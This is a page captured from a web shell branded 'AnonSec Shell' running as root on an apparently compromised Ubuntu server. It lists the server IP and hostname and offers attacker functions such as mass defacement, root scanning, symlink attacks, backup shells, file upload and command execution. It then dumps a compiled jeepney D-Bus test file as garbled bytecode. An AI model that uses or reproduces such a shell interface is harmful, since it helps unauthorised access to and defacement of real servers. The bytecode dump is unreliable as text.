AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/jeepney/io/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/jeepney/io/tests/__pycache__/test_threading.cpython-310.pyc
o

���`�
�@s�ddlZddlmZmZmZddlmZmZddlm	Z	m
Z
ddlmZej
jedd�Zejd	d
��Zdd�Zed
ddd�Zdd�Zdd�Zdd�Zdd�Zdd�ZdS)�N)�new_method_call�MessageType�DBusAddress)�message_bus�	MatchRule)�open_dbus_router�Proxy�)�have_session_buszTests require DBus session bus)�reasonccs8�tdd��}|VWd�dS1swYdS)N�SESSION)�bus)r)�conn�r�A/usr/lib/python3/dist-packages/jeepney/io/tests/test_threading.py�routers�"�rcCs|j�d�sJ�dS)N�:)�unique_name�
startswith)rrrr�test_connectsrzorg.freedesktop.DBusz/org/freedesktop/DBuszorg.freedesktop.DBus.Peer)�bus_name�object_path�	interfacecCs<ttd�}|j|dd�}|jjtjksJ�|jdksJ�dS)N�Ping���timeoutr)r�bus_peer�send_and_get_reply�header�message_typer�
method_return�body)r�	ping_call�replyrrr�test_send_and_get_replys
r%cCsHtt|dd�}d}|�|�}|dvsJ�|j|dd�\}|dus"J�dS)Nrrz+io.gitlab.takluyver.jeepney.examples.Server>�r	���)�_timeoutT)rr�RequestName�NameHasOwner)r�proxy�name�res�	has_ownerrrr�
test_proxy!s
r1cCs�tt|�}d}tdtjtjdtjd�}|�d|�|�|�|�|��&}|�	|�\}|dks0J�|j
dd�}|j|d	|jfksAJ�Wd�dS1sLwYdS)
Nz7io.gitlab.takluyver.jeepney.tests.threading_test_filter�signal�NameOwnerChanged)�type�senderr�member�pathrr	g@r�)
rrrrrr�add_arg_condition�AddMatch�filterr+�getr"r)rr
r.�
match_rule�queuer/�
signal_msgrrr�test_filter*s"
�
"�r@cCs�t|d�}tddd��}|j|dd�}Wd�n1swY|jjtjus+J�|jd�d��}|�	�d	ks<J�Wd�dS1sGwYdS)
N�GetFDrT�r
�
enable_fdsrrrzw+�readme)
rrrrr rr!r"�to_file�read)�respond_with_fd�
getfd_callrr$�frrr�test_recv_fdBs
�"�rJcCsz|\}}t|dd|f�}tddd��}|j|dd�}Wd�n1s$wY|jjtjus2J�|jd|ks;J�dS)	N�ReadFD�hrTrBrrr)rrrrr rr!r")�temp_file_and_contents�read_from_fd�	temp_file�data�readfd_callrr$rrr�test_send_fdLs�rR)�pytest�jeepneyrrr�jeepney.bus_messagesrr�jeepney.io.threadingrr�utilsr
�mark�skipif�
pytestmark�fixturerrrr%r1r@rJrRrrrr�<module>s*�
�	

Anon7 - 2022
AnonSec Team